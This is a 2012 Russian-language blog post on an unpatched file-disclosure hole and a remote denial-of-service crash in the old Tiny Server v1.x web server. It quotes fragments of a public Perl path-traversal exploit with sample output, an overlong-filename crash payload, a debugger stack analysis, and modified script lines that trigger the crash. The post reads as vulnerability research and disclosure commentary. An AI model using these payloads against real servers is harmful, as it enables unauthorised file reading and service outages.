воскресенье, 18 марта 2012 г.

Удаленный отказ в обслуживании в Tiny Server v1.*

r00t@xpen0xff> hack -type="BlackHat"
The type of paper is BlackHat
r00t@xpen0xff> ls
Tiny_stupid_hack.txt
r00t@xpen0xff> cat "Tiny_stupid_hack.txt" 

---[Tiny_stupid_hack]------------------------------------------------------------------------------------------------
Название уязвимой программы: Tiny Server 
Автор программы: Saurabh Gupta
Сайты программы: http://tinyserver.sourceforge.net/, http://connect.to/tinyserver 
Версия v1.* (хз какая версия точная, в документации, на сайте - везде разные)
Уязвимость: удаленный отказ в обслуживании (remote denial of service)
Год релиза: ~2001 год(!!!) 

Вы думаете, почему я публикую такой баян? Читаем ниже 8).



На данную программу наткнулся, после публикации эксплоита на www.explots-db.com автора KaHPeSeSe. Дата сплоита: 2012-03-16. Сплоит, написанный на языке Perl, использует старую, как этот мир ошибку, произвольное чтение файла на сервере, с помощью "/../". Пример:

http://localhost:80/../../имя_файла

Причем через адресную строку браузера такая комбинация не канает (тестилось на Windows Seven), нужно составлять "в ручную" GET-запрос, например программой HTTPAnalyzer, либо через встроенные возможности языков программирования, в нашем случае Perl:

# подключаем нужные библиотеки, для работы с сетью
use LWP::Simple;
use LWP::UserAgent;


# определяем супер-путь
$path = "/../../";

# генерим ссылку с заранее определенными переменными
my $link = "http://" . $TargetIP . ":" . $Port . $path . $File;

# сохраняем результат в переменную
$ourfile = get $link;

После запуска сплоита (полный текст на www.explots-db.com) с определенными параметрами, вывод будет такой: 
___________________________________________________________________

....... Tiny Server v1.1.5 Arbitrary File Disclosure Exploit .......

....... Founded and Exploited by KaHPeSeSe .......
____________________________________________________________________

sploit.pl 127.0.0.1 80 windows/system.ini 
Connet to Server....
Connected
Waiting for moment
Done! Reading /windows/system.ini...


; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]

Ну чтож, сплоитег работает.

Подумал я, надо протестить данный свежачок на баги =). Первое, что я ввел в адресной строке:

http://localhost:80/r.txtAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAACCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCC

И сервер вылетел с ошибкой 53 - "File not found":  


Не долго думая, загрузил данный сервер в OllyDbg. После беглого просмотра, стало ясно, что сие чудо написано на Visual Basic 6 версии. Итак, запускаем сервер в отладчике, осуществляем предыдущие падение программы, и в отладчике видим:

EIP 75649673 KERNELBA.75649673

В регистре указателя команд (EIP) значение приравнялось к исключению:


0012F134 75649673 RETURN to KERNELBA.75649673 from ntdll.RtlRaiseException

А чуть повыше есть такой код:

0012F0A0 0012F2EC <------- адрес первой строки
0012F0A4 0012F0B0 ASCII "C:\Program Files\Tiny Server\r.txtAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012F0A8 00000035 
<-------  длина строки
0012F0AC 72A26A76 MSVBVM60.__vbaStrCat <------- это P-CODE функции конкатенации строк
0012F0B0 505C3A43
0012F0B4 72676F72
0012F0B8 46206D61
0012F0BC 73656C69
0012F0C0 6E69545C
0012F0C4 65532079
0012F0C8 72657672
0012F0CC 742E725C comctl32.742E725C,
может быть uxtheme.742E725C (обе используются для визуализации: ListBox, Toolbar, и т.д.)
0012F0D0 41417478 <------- начало нашей строки, 78 74 41 41- xtAA
0012F0D4 41414141
0012F0D8 41414141
0012F0DC 41414141
0012F0E0 41414141
0012F0E4 41414141
0012F0E8 41414141
0012F0EC 41414141
0012F0F0 41414141
0012F0F4 41414141
0012F0F8 41414141
0012F0FC 41414141
0012F100 41414141
0012F104 41414141
0012F108 41414141

0012F10C 00310E00
0012F110 00310E00


"P-CODE" - это псевдокод, который интерпретируется на виртуальной машине, находящейся в DLL-библиотеке – "MSVBVM60.DLL". Функция "MSVBVM60.__vbaStrCat" является P-CODE'ом и вызывается с параметрами: первая строка, вторая строка и длина строки, с которой мы будем объединяться. Я не спец в асме, поэтому могу ошибаться 8). С адреса 0012F128 C000008F начинается секция обработчика ошибок SEH (Структурный обработчик ошибок):

0012F128 C000008F 
0012F12C 00000001
0012F130 00000000
0012F134 75649673 RETURN to KERNELBA.75649673 from ntdll.RtlRaiseException
<-------- переходит на исключение

Из всего приведенного выше, становится ясно, что при конкатенации строк, вызывается необработанное исключение выхода за пределы, и программа рушится. Так как перезаписать мы ничего не можем, в том числе и адрес исключения, то максимум получается DoS (Отказ в обслуживании + удаленный). Чтобы вызвать данный DoS, надо переделать пару строчек в сплоите:

# вместо 3 параметров ставим 2, так как имя файла мы не вводим
if(@ARGV < 2)  
{
print "[-] Error!\n";
print "[-] Look to example\n\n";
&help; exit();
}

# читаем два параметра
($TargetIP, $Port) = @ARGV;

# задаем ядовитое имя файла сами
$File = "r.txtA" x 90;

Также, вылет программы происходит и с большим номер порта, введенным а адресной строке, и с неправильно сформированным HTTP-заголовком. Вообщем ошибок море... к чему это я всё? Я подумал, неужели за столько лет не нашли багов в этом сервере ошибок? После простого гугления, я вышел на такой пост (адрес: http://www.net-security.org/vuln.php?id=3211).

Name: Tiny Server Multiple Vulnerabilities 
Date: 27 January 2004

From: "Donato Ferrante" <fdonato(at)autistici.org>

Bugs: Multiple Vulnerabilities

В этом посте, он пишет и про DoS, и про произвольное чтение файлов на сервере с помощью "/../". Также он пишет: 

No fix.
The vendor has not answered to my signalations.


Хм... с 2004 года разработчик не отвечает на его запросы. А в 2012 году на exploits-db публикуется эксплоит, где в заголовке стоит:

....... Founded and Exploited by KaHPeSeSe .......

Мне кажется, такой "ПЕРЛ" не прошел бы на milw0rm 8)).



Комментариев нет:

Отправить комментарий


profile for Anatoliy Nikolaev at Stack Overflow, Q&A for professional and enthusiast programmers